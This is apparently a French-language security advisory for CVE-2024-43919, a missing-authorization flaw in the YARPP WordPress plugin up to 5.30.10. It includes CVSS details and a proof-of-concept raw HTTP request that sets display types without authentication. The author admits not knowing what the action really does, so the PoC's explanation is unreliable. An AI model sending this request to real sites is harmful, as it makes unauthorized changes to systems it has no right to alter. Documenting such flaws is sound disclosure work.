CVE-2024-43919

YARPP <= 5.30.10 - Autorisation manquante

Description

Le plugin YARPP – Yet Another Related Posts Plugin pour WordPress est vulnérable à un accès non autorisé en raison d'une vérification de capacité manquante dans le fichier ~/includes/yarpp_pro_set_display_types.php dans toutes les versions jusqu'à la 5.30.10 incluse. Cela permet à des attaquants non authentifiés de définir des types d'affichage.

Type: plugin
CVSS Score: 5.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE: CVE-2024-43919
Slug: yet-another-related-posts-plugin

Info

Je n'ai aucune idée de ce que cela fait réellement.

POC

Voici un exemple de requête HTTP brute qui exploite la vulnérabilité dans le plugin YARPP :

GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
Host: example.com

Dans cette requête :

• Le paramètre ypsdt est défini sur false pour contourner la vérification initiale dans le code.
• Le paramètre types[] est utilisé pour spécifier les types d'affichage à définir. Dans cet exemple, post et page sont passés comme types.
• L'en-tête Host spécifie le site WordPress cible hébergeant le plugin YARPP vulnérable.

Lorsque cette requête est envoyée à un site WordPress avec une version vulnérable du plugin YARPP installée, elle définira les types d'affichage sans nécessiter d'authentification ou d'autorisation.